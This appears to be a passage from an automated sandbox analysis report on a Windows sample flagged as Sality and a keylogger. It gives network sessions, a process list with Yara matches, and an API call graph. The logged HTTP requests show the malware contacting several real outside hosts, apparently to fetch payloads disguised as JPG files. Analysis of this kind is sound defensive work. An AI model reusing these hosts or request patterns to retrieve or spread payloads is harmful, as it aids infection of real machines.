                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:02:10.347310066 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:02:10 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          146192.168.2.74986337.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:10.613210917 CEST205OUTGET /images/xs2.jpg?23b8063f=-699390598 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:02:11.329950094 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:02:11 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          147192.168.2.74986437.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:11.339464903 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:02:12.067240953 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:02:11 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:02:11 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          148192.168.2.74986554.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:12.232206106 CEST310OUTGET /images/xs.jpg?85bd571b=385178732 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159327|1720159208|4|27|0
                                                          Jul 5, 2024 08:02:12.965151072 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:12 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159332|1720159208|4|28|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          149192.168.2.74986644.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:12.978610039 CEST303OUTGET /xs.jpg?d2e6b20f=-1513266146 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159328|1720159209|4|27|0
                                                          Jul 5, 2024 08:02:13.499315023 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:13 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159333|1720159209|4|28|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Statistics

                                                          CPU Usage

                                                          Click to jump to process

                                                          Memory Usage

                                                          Click to jump to process

                                                          High Level Behavior Distribution

                                                          Click to dive into process behavior distribution

                                                          Behavior

                                                          Click to jump to process

                                                          System Behavior

                                                          General

                                                          Target ID:0
                                                          Start time:02:00:04
                                                          Start date:05/07/2024
                                                          Path:C:\Users\user\Desktop\a4#Uff09.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:"C:\Users\user\Desktop\a4#Uff09.exe"
                                                          Imagebase:0x400000
                                                          File size:2'915'328 bytes
                                                          MD5 hash:75D53417D21654ACBE4565E04A5E3353
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Yara matches:
                                                          • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
                                                          • Rule: JoeSecurity_Sality, Description: Yara detected Sality, Source: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                          Reputation:low
                                                          Has exited:false

                                                          General

                                                          Target ID:2
                                                          Start time:02:00:04
                                                          Start date:05/07/2024
                                                          Path:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:C:\Users\user~1\AppData\Local\Temp\plgMeM.exe
                                                          Imagebase:0xdb0000
                                                          File size:15'872 bytes
                                                          MD5 hash:56B2C3810DBA2E939A8BB9FA36D3CF96
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Antivirus matches:
                                                          • Detection: 100%, ReversingLabs
                                                          Reputation:moderate
                                                          Has exited:true

                                                          General

                                                          Target ID:3
                                                          Start time:02:00:04
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\fontdrvhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"fontdrvhost.exe"
                                                          Imagebase:0x7ff6080a0000
                                                          File size:827'408 bytes
                                                          MD5 hash:BBCB897697B3442657C7D6E3EDDBD25F
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:moderate
                                                          Has exited:false

                                                          General

                                                          Target ID:4
                                                          Start time:02:00:04
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\dllhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                          Imagebase:0x7ff7d8730000
                                                          File size:21'312 bytes
                                                          MD5 hash:08EB78E5BE019DF044C26B14703BD1FA
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:moderate
                                                          Has exited:false

                                                          General

                                                          Target ID:6
                                                          Start time:02:00:05
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\fontdrvhost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"fontdrvhost.exe"
                                                          Imagebase:0x7ff6080a0000
                                                          File size:827'408 bytes
                                                          MD5 hash:BBCB897697B3442657C7D6E3EDDBD25F
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:moderate
                                                          Has exited:false

                                                          General

                                                          Target ID:7
                                                          Start time:02:00:05
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\svchost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\svchost.exe -k UnistackSvcGroup
                                                          Imagebase:0x7ff75da10000
                                                          File size:55'320 bytes
                                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:false

                                                          General

                                                          Target ID:8
                                                          Start time:02:00:07
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\dwm.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"dwm.exe"
                                                          Imagebase:0x7ff74b010000
                                                          File size:94'720 bytes
                                                          MD5 hash:5C27608411832C5B39BA04E33D53536C
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:moderate
                                                          Has exited:false

                                                          General

                                                          Target ID:11
                                                          Start time:02:00:10
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\sihost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:sihost.exe
                                                          Imagebase:0x7ff77a4d0000
                                                          File size:111'616 bytes
                                                          MD5 hash:A21E7719D73D0322E2E7D61802CB8F80
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:moderate
                                                          Has exited:false

                                                          General

                                                          Target ID:12
                                                          Start time:02:00:11
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\svchost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                          Imagebase:0x7ff7b4ee0000
                                                          File size:55'320 bytes
                                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:false

                                                          General

                                                          Target ID:13
                                                          Start time:02:00:12
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\svchost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s WpnUserService
                                                          Imagebase:0x7ff7b4ee0000
                                                          File size:55'320 bytes
                                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:false

                                                          General

                                                          Target ID:15
                                                          Start time:02:00:13
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\ctfmon.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"ctfmon.exe"
                                                          Imagebase:0x7ff7d83b0000
                                                          File size:11'264 bytes
                                                          MD5 hash:B625C18E177D5BEB5A6F6432CCF46FB3
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:moderate
                                                          Has exited:false

                                                          General

                                                          Target ID:16
                                                          Start time:02:00:13
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\explorer.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\Explorer.EXE
                                                          Imagebase:0x7ff70ffd0000
                                                          File size:5'141'208 bytes
                                                          MD5 hash:662F4F92FDE3557E86D110526BB578D5
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:false

                                                          General

                                                          Target ID:19
                                                          Start time:02:00:15
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\SysWOW64\WerFault.exe
                                                          Wow64 process (32bit):true
                                                          Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 320 -s 1592
                                                          Imagebase:0x3b0000
                                                          File size:483'680 bytes
                                                          MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                          Has elevated privileges:true
                                                          Has administrator privileges:true
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:true

                                                          General

                                                          Target ID:23
                                                          Start time:02:00:18
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\svchost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                          Imagebase:0x7ff7b4ee0000
                                                          File size:55'320 bytes
                                                          MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Reputation:high
                                                          Has exited:false

                                                          General

                                                          Target ID:25
                                                          Start time:02:00:18
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                          Imagebase:0x7ff69c330000
                                                          File size:793'416 bytes
                                                          MD5 hash:5CDDF06A40E89358807A2B9506F064D9
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:26
                                                          Start time:02:00:21
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                          Imagebase:0x7ff6bd830000
                                                          File size:103'288 bytes
                                                          MD5 hash:BA4CFE6461AFA1004C52F19C8F2169DC
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:28
                                                          Start time:02:00:23
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                          Imagebase:0x7ff7fd570000
                                                          File size:3'671'400 bytes
                                                          MD5 hash:5E1C9231F1F1DCBA168CA9F3227D9168
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:29
                                                          Start time:03:10:09
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                          Imagebase:0x7ff6bd830000
                                                          File size:103'288 bytes
                                                          MD5 hash:BA4CFE6461AFA1004C52F19C8F2169DC
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:30
                                                          Start time:03:10:09
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca
                                                          Imagebase:0x7ff72cfc0000
                                                          File size:1'663'328 bytes
                                                          MD5 hash:9B8DE9D4EDF68EEF2C1E490ABC291567
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:32
                                                          Start time:03:10:13
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                          Imagebase:0x7ff6bd830000
                                                          File size:103'288 bytes
                                                          MD5 hash:BA4CFE6461AFA1004C52F19C8F2169DC
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:33
                                                          Start time:03:10:14
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\smartscreen.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\System32\smartscreen.exe -Embedding
                                                          Imagebase:0x7ff7ab740000
                                                          File size:2'378'752 bytes
                                                          MD5 hash:02FB7069B8D8426DC72C9D8A495AF55A
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:true

                                                          General

                                                          Target ID:34
                                                          Start time:03:10:16
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\ApplicationFrameHost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\system32\ApplicationFrameHost.exe -Embedding
                                                          Imagebase:0x7ff7df270000
                                                          File size:78'456 bytes
                                                          MD5 hash:D58A8A987A8DAFAD9DC32A548CC061E7
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:35
                                                          Start time:03:10:18
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                          Imagebase:0x7ff6bd830000
                                                          File size:103'288 bytes
                                                          MD5 hash:BA4CFE6461AFA1004C52F19C8F2169DC
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:true

                                                          General

                                                          Target ID:36
                                                          Start time:03:10:19
                                                          Start date:05/07/2024
                                                          Path:C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe" -ServerName:App.AppXc75wvwned5vhz4xyxxecvgdjhdkgsdza.mca
                                                          Imagebase:0x7ff755410000
                                                          File size:19'456 bytes
                                                          MD5 hash:6C44453CD661FC2DB18E4C09C4940399
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:37
                                                          Start time:03:10:20
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\System32\RuntimeBroker.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                          Imagebase:0x7ff6bd830000
                                                          File size:103'288 bytes
                                                          MD5 hash:BA4CFE6461AFA1004C52F19C8F2169DC
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          General

                                                          Target ID:38
                                                          Start time:03:10:21
                                                          Start date:05/07/2024
                                                          Path:C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe
                                                          Wow64 process (32bit):false
                                                          Commandline:"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXjd5de1g66v206tj52m9d0dtpppx4cgpn.mca
                                                          Imagebase:0x7ff6b6580000
                                                          File size:19'232 bytes
                                                          MD5 hash:F050189D49E17D0D340DE52E9E5B711F
                                                          Has elevated privileges:false
                                                          Has administrator privileges:false
                                                          Programmed in:C, C++ or other language
                                                          Has exited:false

                                                          Disassembly

                                                          Reset < >

                                                            Execution Graph

                                                            Execution Coverage:16.9%
                                                            Dynamic/Decrypted Code Coverage:93.5%
                                                            Signature Coverage:15.3%
                                                            Total number of Nodes:1867
                                                            Total number of Limit Nodes:48
                                                            execution_graph 10542 470000 10543 470008 10542->10543 10548 48b584 10543->10548 10545 47002a 10553 4848e6 10545->10553 10549 48b58a 10548->10549 10550 48b58d 10548->10550 10549->10545 10558 48b55a 10550->10558 10554 47003b 10553->10554 10555 4848f6 InterlockedDecrement 10553->10555 10555->10554 10556 484904 10555->10556 10720 4847d5 10556->10720 10559 48b57b DeleteObject 10558->10559 10560 48b565 10558->10560 10559->10545 10564 48b4a6 10560->10564 10562 48b56c 10562->10559 10570 48433d 10562->10570 10565 48b4b0 __EH_prolog 10564->10565 10574 48de5f 10565->10574 10567 48b4b6 10568 48b4f4 10567->10568 10579 48a2d0 10567->10579 10568->10562 10571 484373 10570->10571 10572 484346 10570->10572 10571->10559 10572->10571 10706 48426f 10572->10706 10583 48de39 10574->10583 10578 48de75 10578->10567 10580 48a2da __EH_prolog 10579->10580 10620 484189 10580->10620 10582 48a311 10582->10568 10584 48e3c1 3 API calls 10583->10584 10586 48de48 10584->10586 10585 48de5e 10588 48e3c1 10585->10588 10586->10585 10594 48e456 10586->10594 10589 48e3ca 10588->10589 10590 48e3f7 TlsGetValue 10588->10590 10591 48e3e4 10589->10591 10617 48dfc1 TlsAlloc 10589->10617 10592 48e40a 10590->10592 10591->10590 10592->10578 10595 48e460 __EH_prolog 10594->10595 10596 48e48e 10595->10596 10600 48f0a6 10595->10600 10596->10585 10601 48f0b1 10600->10601 10602 48f0b6 10600->10602 10612 48f013 10601->10612 10604 48e477 10602->10604 10605 48f0da RtlEnterCriticalSection 10602->10605 10606 48f103 RtlEnterCriticalSection 10602->10606 10609 48f116 10604->10609 10607 48f0e8 RtlInitializeCriticalSection 10605->10607 10608 48f0fb RtlLeaveCriticalSection 10605->10608 10606->10604 10607->10608 10608->10606 10610 48f11f RtlLeaveCriticalSection 10609->10610 10611 48f134 10609->10611 10610->10611 10611->10596 10613 48f01d GetVersion 10612->10613 10614 48f037 10612->10614 10615 48f03f RtlInitializeCriticalSection 10613->10615 10616 48f030 10613->10616 10614->10602 10615->10614 10616->10614 10616->10615 10618 48dff0 10617->10618 10619 48dff5 RtlInitializeCriticalSection 10617->10619 10618->10619 10619->10591 10621 484194 10620->10621 10623 48419a 10620->10623 10624 484650 10621->10624 10623->10582 10627 47581e 10624->10627 10628 47584c 10627->10628 10629 4758f8 10627->10629 10630 475856 10628->10630 10631 475891 10628->10631 10629->10623 10644 47b664 10630->10644 10633 47b664 16 API calls 10631->10633 10643 475882 10631->10643 10637 47589d 10633->10637 10634 4758ea HeapFree 10634->10629 10635 47585d 10636 475877 10635->10636 10657 47c8e8 10635->10657 10663 475888 10636->10663 10638 4758c9 10637->10638 10666 47d66f 10637->10666 10670 4758e0 10638->10670 10643->10629 10643->10634 10645 47b6ba RtlEnterCriticalSection 10644->10645 10647 47b67c 10644->10647 10645->10635 10646 47b692 10649 47b664 15 API calls 10646->10649 10647->10646 10673 474142 10647->10673 10650 47b69a 10649->10650 10651 47b6a1 RtlInitializeCriticalSection 10650->10651 10652 47b6ab 10650->10652 10653 47b6b0 10651->10653 10654 47581e 15 API calls 10652->10654 10679 47b6c5 RtlLeaveCriticalSection 10653->10679 10654->10653 10656 47b6b8 10656->10645 10658 47cbdc 10657->10658 10660 47c926 10657->10660 10658->10636 10659 47cb22 VirtualFree 10661 47cb86 10659->10661 